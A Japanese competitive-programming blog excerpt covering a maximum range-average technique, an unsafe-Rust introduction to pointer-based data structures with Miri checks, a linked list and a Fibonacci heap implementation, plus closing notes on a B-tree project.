LeafNode ã‚„ InternalNode では B-tree のノード数の下限の制約を無視していて、それは BTreeMap 側で担保しているみたいなのですが、そうした方がいいのかな〜という気持ちがあったりなどします。

列としての B-tree であれば、(BTree|Hash)Map にあるところの .entry() の API は提供する必要がないんですよね。 と思いつつ、「bisect で見つけたあたりの場所が何らかの条件を満たすなら、その箇所に挿入する」のような操作はしたいことがしばしばあって、.entry() めいた I/F を使えたらいいのかもという気もします。

どうせそのうち $\circ\colon S\times S\to S$ とかを渡せるようにして書き直すだろうので、そのときにまた考えます。

参考文献

いつもの (CS166.1146/03) を見ました。

実装し終わった後、下記の記事を見つけました。これもよいと思います。

trap.jp

おわり

思ったより疲れているみたいで、あんまりまともに文章が書けませんでした。

また勉強したり休憩したりしたら、BTreeMap の設計や unsafe なコードのことや Stacked/Tree Borrows のことに関してまとめたい気持ちがあります。

一方、なんか、なんでこんなことやってんだろうなみたいな気持ちも湧いてくることがしばしばあり、危ないな〜というところですね。

簡潔データ構造についても何もまとめていなくてやば〜というところです。

*1:界隈では merge と言われがちですが、“merge” は抽象的すぎる感じがして避けています。列の末尾に連結させることを明示したいです。

*2:partition point と呼ばれている場合もあるかも。

区間平均値に関する典型の例

å°Žå…¥

配列 $a = (a_0, a_1, \dots, a_{n-1})$ に対して適当な区間 $[l\lldot r)$ が与えられて、そこでの平均値 $f_a(l, r) = \tfrac1{r-l}\sum_{i=l}^{r-1} a_i$ を考えます。

たとえば $[l\lldot r)$ がたくさん与えられて平均値を求めるだけなら、累積和を用いるだけでよいです。 あるいは $a_i$ を $x$ に更新するようなクエリがたくさん与えられる場合も、セグ木を用いるだけでよいです。

では、左端 $l$ を固定した場合に平均値を最大たらしめる右端 $\argmax_{r\gt l} f_a(l, r)$ を求めたい場合はどうしましょう。値の更新はないものとします。

本題

平均値の分子 $\sum_{i=l}^{r-1} a_i$ の方を累積和として扱うのは比較的自然に見えるでしょう。 分母の $r-l$ が厄介な気がします。

一旦累積和の形で書いてみます。 $$s_i = \sum_{j=0}^{i-1} s_j = a_0 + a_1 + \dots + a_{i-1}$$ とすると、該当の平均値は $\tfrac{s_r-s_l}{r-l}$ と書けます。

この式は、$(x_i, y_i) = (i, s_i)$ なる点たち ($i \in [0\lldot n]$) を考えたときの、点 $l$ と点 $r$ を結ぶ直線の傾きと見ることができます*1。

そこで、そういう点たちを考えます。 これ以降においては、もう元の $a_i$ のことは一旦忘れて $s_i$ だけを気にするだけで済みます。

元々求めたかったものは、点 $l$ より右にある点のうち、点 $l$ と結んだときに傾きが最大となる点の番号であるとわかります。 これは、平面走査などを行うことで各 $l$ に対して求めることができます。 凸包だと思う方が見通しがよいと感じる人もいるかもしれません？ いろいろな見方を身につけておく方がよさそうです。

例題

• ABC 341 G
  • そのままでした
• Codeforces Round 618 (Div. 1)
  • ちょっと応用的かも

他にもいろいろ考えられるかも。

所感

geometry に帰着させるテクニック天才がち。 CHT で高速化する DP とかもそう。 矩形クエリとかに帰着させてセグ木で平面走査をしたり wavelet matrix を使ったりするのも似たジャンルではありそう。 とはいえセグ木がセグ木以外全部より典型感ある気がする。

geometry のいろいろなことをちゃんとやる前提だと、当然のように永続赤黒木とかが出てきて大変そうなので AtCoder では出なさそう (cf. CS166.1226/18)*2。

区間の長さ・要素数を扱いたいときに $1$ をどこかしらに登場させるテクかしこい。 ABC 146 E もそういう気配を感じる。

個数を $0$ 乗和と見るのは $k$ 乗和を求める DP で出てきがち。 遅延セグ木で区間加算・区間和を求めるときにも $0$ 乗和と $1$ 乗和のペアを持っているという解釈が自然*3。

もちろん、「区間平均値といえば絶対これ」で思考停止するのはよくなさそう。処理したいクエリに応じて適切な考察をする必要があるので。

近況

最近はいわゆる merge/split のできる B-tree を書こうとしています。merge じゃなくて concat とか append とか呼びたい気持ちはあります。merge は一般的な名称すぎてくっつけ方の情報が薄いので。

だんだん unsafe Rust や Stacked/Tree Borrows とも仲よしになってきた感じがあります。 unsafe 由来の UB ではなくシンプルに添字の off-by-one などで木がグチャグチャになってギャグみたいになっているデバッグ出力を眺めたりしています。

それはそれとして、平衡木のいい感じの出力が得られたのでちょっと満足しています。デバッグが捗ります。

（画像で貼るには縦長すぎるから適当な行数で区切って横に並べてるけど、）なかなか悪くない感じがする pic.twitter.com/EueCf4LOla

— えびちゃん🍑🍝🦃 (@rsk0315_h4x) April 8, 2024

あと風邪を引いたり治りかけたりしました。久々におねつを出して懐かしい気持ちになりました。

おわり

おわりです。

*1:より抽象的には、$\frac{f(r)-f(l)}{g(r)-g(l)}$ の形を見たときに、分母・分子をそれぞれ $x$, $y$ 座標の差分だな〜と見れるとよいのかもしれません？

*2:そんなのは気にせず、平衡木から逃げるなという強い意志で勉強する必要がある。

*3:だとえびちゃんは思っています。

ãƒã‚¤ãƒ³ã‚¿ç³»ãƒ‡ãƒ¼ã‚¿æ§‹é€ ã‚’æ›¸ããŸã„ãª

ポインタ系データ構造（未定義お気持ち用語）を書きましょう。

まえがき

ここでポインタ系データ構造と呼んでいるのは、配列や二分ヒープ（のよくある実装）やセグ木（のよくある実装）とは違い、各要素が別の要素のアドレスを持つ必要があるようなものです。線形リストや平衡二分木などがわかりやすい例です。

競プロ界隈でポインタ系データ構造が話題になるときは、概ね次のようなデータ構造の話でしょう。

• 高機能な平衡木*1
  • 添字でアクセスできるもの
  • merge/split が可能なもの
• 高機能なヒープ
  • binomial heap, skew heap など併合可能 (meldable) なもの
  • Fibonacci heap など優先度の変更が可能なもの
• 動的木
  • link/cut tree, top tree など
• その他
  • trie, Aho–Corasick automaton など

高機能な平衡木は、言語の標準ライブラリで提供されるもの (std::map in C++, std::collections::BTreeMap in Rust) では足りないときに自前で実装する必要が出てくるようなものです。 これらは競技文脈では比較的避けられがちで、「（そういう）平衡木を使わずに解きたい」とか、なるべくなら実装しない・したくない人が多いように見えます。

「実装が大変」とか「実測だと重そう」とかそういう言い訳ばかりが目について嫌だな〜という気持ちがありつつ、「では自分は実装したいか？」というと「まぁ実装したくないですね」というのが正直なところです。 とはいえ、「そうした言い訳をしたまま一生を終えて満足か？」と問われると、それも違うかなという気もしてきます。最近はそういう感情ばかりで嫌になります。

そもそも、競プロ界隈にこういう風潮がある（気がする）のでポインタ系データ構造の導入用の教材はあまりなく、そうした状態で高度なポインタ系データ構造を見せられても「大変そう」という感情になってしまうのは、まぁ無理もないかなとも思います。 何年か前に FPS が流行り始めてた頃（当時は「母関数」という言い方で指されることが多かったですが）、FPS の体系的な教材がないまま高度な問題での適用例の記事だけがちらほらあり、魔法のようなものに感じていたのと似ているような気がします。

というわけで、簡単なものから書いていくことで、そうした「よくわからないけど難しそう」という忌避感を拭えたらいいなという気持ちがあります。

また、別の背景として、えびちゃんが Unsafe Rust の勉強をちゃんとしたいというところがあります。 ポインタ系のデータ構造を書くにあたっては Safe Rust だとどうにも限界があるためです。 Safe Rust で完結するようなものであればそれでよいですが、Unsafe Rust を使うべき状況で Safe Rust に固執するのはやはりよいとは思えません。 似た例として「浮動小数点数を使いたくないので整数に固執する」「浮動小数点数の取り扱いはよくわからない」がある気がします。

やりたいね

目標（この記事の範囲外）としては、添字でのアクセスと merge/split が可能な平衡木（そういう B-tree）を実装することです。 下記は簡単な例から始めるので Safe Rust でも実装できる部分もあるでしょうが、あくまで Unsafe Rust の練習ということで、生ポインタなどを遠慮せずに使いましょう。

下記では Rust の実装例しかないですが、C++ でも学習方針自体は参考になると思います。 ポインタまわりの未定義動作検出に関して、下記では Rust 前提で Miri を紹介していますが、C++（の UBSan など？）でどの程度そうしたことができるかはあまり知らないです。 C++ における strict aliasing rule まわりの事情に関しても忘れてしまいました。 C++ にこだわりがある人は調べてみるとよいのではないでしょうか。

基礎パート

基本的な操作として、下記のようなことができるようになりましょう。

• 何らかの値を（実行時に）確保して、その値へのポインタを取得する
• ポインタを介して値の読み書きをする
• ポインタが指している値を解放する
  • メモリリークさせない

たとえば次のような感じです。

fn main() {
    // 値を確保して生ポインタを取得
    let p: *mut _ = Box::leak(Box::new("a".to_owned()));

    // ポインタを介した値の読み書き
    unsafe {
        assert_eq!(*p, "a");
        *p += "b";
        assert_eq!(*p, "ab");
    }

    // 値の解放
    unsafe { drop(Box::from_raw(p)) };
}

借用のルールに関して、Safe Rust ではコンパイラがチェックしてくれていた部分を Unsafe Rust ではプログラマがチェックする必要があるので、それに関しても学んでおく必要があります。 最近は Tree Borrows というモデルを勉強するのがよいのでしょうか。

unsafe { ... } は「不正で危険なコードを書くのが許される*2」という意味ではなく、「コンパイラによって（静的に）安全性を保証できない部分を、プログラマが責任を持って書く」という意味なので、そうした自覚を持つ必要があります。

一旦 as *mut _ とすることで lifetime を消去することができ、コンパイラのお目こぼしをいただくことができます（有効なプログラムになるという意味ではないので注意です）。

fn main() {
    let mut a = 0;
    let p1 = unsafe { &mut *(&mut a as *mut i32) };
    let p2 = unsafe { &mut *(&mut a as *mut i32) };

    // 借用ルールを無視した値の読み書き（未定義動作）
    *p1 += 1;
    *p2 += 2;
    assert_eq!(a, 3);
}

注

Stacked Borrows というモデルにおいては、p2 を作った時点で p1 が失効してしまうので p1 += 1 が不正です。 Tree Borrows においては、p2 を作った時点では p1 はまだ待機中という扱いで p1 += 1 は有効ですが、その書き込みによって p2 が失効して p2 += 2 が不正になります。$\eod$

また、*mut _ ではなく std::ptr::NonNull を使うのがよいかもしれません。null でないことを保証する以外に variance の違いもあるので注意が必要です。variance についての説明は一旦先延ばしにします。

ツールの紹介

Rust では Miri というツールがあり、その機能の一つとして Stacked Borrows や Tree Borrows での違反アクセスのチェックがあります*3。 下記のように実行すればよいです。

% MIRIFLAGS=-Zmiri-tree-borrows cargo miri run

現状デフォルトでは Stacked Borrows を使うようなので、Stacked Borrows で試したい場合は cargo miri run のみで大丈夫そうです。

Miri では、違反アクセスチェックに加えてメモリリーク検出もしてくれるため、そうした部分のテストもできてうれしいです。

練習パート

こうしたことがわかってくれば、もう手を動かしたくなる頃だと思うので、簡単なデータ構造から実装していきましょう。

まずは、“平衡一分木” としての線形リスト (linked list) を実装してみます*4。 ちゃんとしたクラスの形でまとめなくても、イメージを掴むところまでできればよいかもしれません。 イメージがつきにくそうであれば、クラスの形にしてみる練習をした方がいいかもしれません。

実装例

use std::ptr::NonNull;

struct ListNode {
    val: i32,
    next: Option<NonNull<ListNode>>,
}

pub struct List {
    first_last: Option<(NonNull<ListNode>, NonNull<ListNode>)>,
}

impl ListNode {
    fn new(val: i32) -> NonNull<Self> {
        NonNull::from(Box::leak(Box::new(Self { val, next: None })))
    }
}

impl List {
    pub fn new() -> Self { Self { first_last: None } }
    pub fn push(&mut self, elt: i32) {
        let node = ListNode::new(elt);
        if let Some((_, last)) = &mut self.first_last {
            unsafe { (*last.as_ptr()).next = Some(node) };
            *last = node;
        } else {
            self.first_last = Some((node, node));
        }
    }
    pub fn iter(&self) -> impl Iterator<Item = i32> + '_ {
        std::iter::successors(
            self.first_last.map(|(first, _)| first),
            |node| unsafe { (*node.as_ptr()).next },
        )
        .map(|node| unsafe { (*node.as_ptr()).val })
    }
}

impl Drop for List {
    fn drop(&mut self) {
        if let Some((first, _)) = self.first_last {
            let mut next = Some(first);
            while let Some(node) = next {
                next = unsafe { (*node.as_ptr()).next };
                unsafe { drop(Box::from_raw(node.as_ptr())) };
            }
        }
    }
}

#[test]
fn sanity_check() {
    let mut list = List::new();
    assert!(list.iter().eq([]));

    list.push(1);
    list.push(2);
    assert!(list.iter().eq([1, 2]));
}

これくらいのことができれば、（該当のデータ構造自体の理解はしている前提で）実装できるようになっているのではないでしょうか。 少なくとも、言語側の問題で「ポインタに関する書き方がわからない・知らないので実装できない」という状態は脱せている気がします。

必要なら、簡単のために平衡しているとは限らない二分木を書いてみるとよいかもしれません。

他の練習

$n$ 個のノードを作り、$(i, p_i)$ を受け取って「$i$ 番目のノードの向き先を $p_i$ 番目のノードにする」という更新をする functional graph 状のおもちゃデータ構造を書いたりしました。もちろんこんなのは本来 Unsafe Rust を使わずに配列で実装できます。

実践パート

練習しているうちに、「そういえばポインタ系データ構造として Fibonacci heap ってあったね」と思い出したので、書きました。 Fibonacci heap は、通常の優先度つきキューの操作 (new, push, pop) の他に、別の Fibonacci heap を併合する操作 (meld) と優先度を上げる操作 (urge)*5 ができます。 計算量は下記です。償却計算量のものは * でマークしています。

操作	時間計算量
new, push, meld	$O(1)$
pop	$O(\log(n))$ *
urge	$O(1)$ *

さて、urge を適切に用いることで、Dijkstra 法の時間計算量を $\Theta(m\log(n))$ から $\Theta(m+n\log(n))$ に落とすことができます。 たとえば ARC 064 E のグラフでは $m = \Theta(n^2)$ なので、前者は $\Theta(n^2\log(n))$、後者は $\Theta(n^2)$ となります。 もちろん、urge を用いないで $\Theta(m\log(n))$ 時間の Dijkstra 法を Fibonacci heap で実装することもできます。

アルゴリズãƒ	実測
BinaryHeap, $\Theta(n^2\log(n))$	107 ms
FibonacciHeap, $\Theta(n^2\log(n))$	1772 ms
FibonacciHeap, $\Theta(n^2)$	25 ms (!)

ポインタ系データ構造だけあって定数倍は重いようですが、オーダーを落としたものでは標準の BinaryHeap のものよりも高速だったのでうれしかったです。

一応、AtCoder のテストケース一つずつに対して Miri (Tree Borrows) で検証したので、未定義動作やメモリリークに関しては大丈夫だと思っています。 全テストケースでのテストは、通常の cargo run --release では 1 秒弱、cargo run では 5 秒弱で終わるのに対して Miri では 2.6 æ—¥ 程度かかり、まぁちょっと時間がかかるねえといった感じでした。

データ構造に関して補足

Fibonacci heap は以前も書いたことがあり、なつかしい気持ちになりました。 urge の計算量保証（expected ではなく worst で、$O(1)$ 時間）のために、木構造をやや特殊な形で持つところが好きです。

前提として、次のことがあります。

• 指定したノードを親から切り離す操作を worst $O(1)$ 時間でできる必要がある。
• 指定したノードに子を追加する操作も worst $O(1)$ 時間でできる必要がある。
• $k$ 番目の子を取得するという操作は必要ない。

（親から見て）各子へのポインタを配列や tree map で持つと削除が $O(1)$ 時間でできず、hash map で持つと worst が保証できなくなります。 そこで、各子は親へのポインタを持ちつつ親は「代表の子」へのポインタ一つだけを保持し、子を切り離す際は「自分が代表の子であれば、（同じ親を持つ）他の子を代表にする」という操作をするようにします。 子から他の子に worst $O(1)$ 時間でアクセスできるようにするため、子同士は円環状にポインタで結んでおきます (circularly-linked list)。

[                       parent                       ]
    ^             ^ |             ^              ^
    |             | v             |              |
[child 1] <--> [child 2] <--> [child 3] <--> [child 4]
    ^                                            ^
     \------------------------------------------/

アスキーアートで表現するのがやや難しいですが、こういう感じです（2 番の子が代表）。

また、urge は「この値（ノードがどこにあるかは知らない）の優先度を上げたい」ではなく「このノードの優先度を上げたい」という操作です。 前者（検索から行う必要がある）ではおそらく worst $O(1)$ 時間 を達成できないため、ノードを指定できるようなインタフェースを提供する必要があります。

meld に関しても、（pop を行うまで実際の処理を遅延させて）worst $O(1)$ 時間で行います。このため、木構造たち（の根）を linked list で管理します*6。

「Rust Fibonacci heap」で Google 検索して出てくる実装・記事を上から 5 つくらい読みましたが、このあたりをちゃんとしているものがほぼなかったのでかなしかったです。

勉強パート

今は B-tree のお勉強をしています。 Fibonacci heap の項でも少し触れましたが、実装を行う前に計算量解析を含めて理解しておくことで、誤った実装をしてしまうのを防げると思います。

また、allocate の操作が worst $O(1)$ 時間なのかは知らない（そう仮定するのが妥当なのかも知らない）ので、調べるのがよさそうな気がしています。

あとがき

でもそれなりの教材があっても競プロ界隈でポインタ系データ構造が流行る気がしないねえ。 流行らないの自体はいいけど、そうしたデータ構造を食わず嫌いしたまま「アルゴリズムに詳しい集団」みたいな顔をしているのが気に食わない。 と思ったんですが、もしかして最近はそういう顔をしている人はいないですか？ 昔も少数だったかも。

Fibonacci heap のような木構造の持ち方とか、計算量に $\alpha(n)$ が出てくるような設計とかは、あまり一般的なテクという感じの広まり方をしていない気がしていて、もっと日の目を浴びないかなあと思ったりしています。 既存のマイナーテクが非有名というだけでなく、（セグ木とかの慣れ親しんだデータ構造以外の）データ構造を新しく考える機会があまりないような気がします。 こうしたことに興味のある層はあまりいないのでしょうか。 あるいはもう比較的枯れてしまっている部分なのかしら。

そういえば fat-node red-black tree や sardine tree / fusion tree などのお勉強をしなきゃと思っていたのを忘れていました。

あと簡潔データ構造に関しても記事を書こうとして寝かせたままになっているのを忘れています。

おわり

一旦おわりです。B-tree が書けたらまた自慢しに来ます。

*1:必ずしも二分木とは限らないため、こうした呼び方をしています。現行の Rust の標準ライブラリでは $2b$-分木 ($b=6$) になっていそうです。B-tree なので、$b$ 以上 $2b$ 以下分木でしょうか。

*2:コンパイラ「私は許そう。だがこいつが許すかな！」

*3:静的解析ではなく、実際に実行して違反が起きているかを確認するものなので、単体テストとして使う場合は入力ケースを適切に考える必要があります。

*4:競プロ頭の人は「worst $\Theta(n)$ 時間なのに平衡とは？」と思いそうですが、根から全ての葉へのパス（一意）の長さが一定であることを指して平衡ということですね。

*5:最小値を取り出したい文脈では decrease-key と呼ぶ場合もあり、Introduction to Algorithms ではそれを採用していたと思います。ここでは一般の優先度っぽい名称を採用しました。以前は prioritize と呼んでいました。

*6:ところで、一般の meldable heap で push を「要素一つだけの heap を作成して meld する」と言い換えるやつが好きです。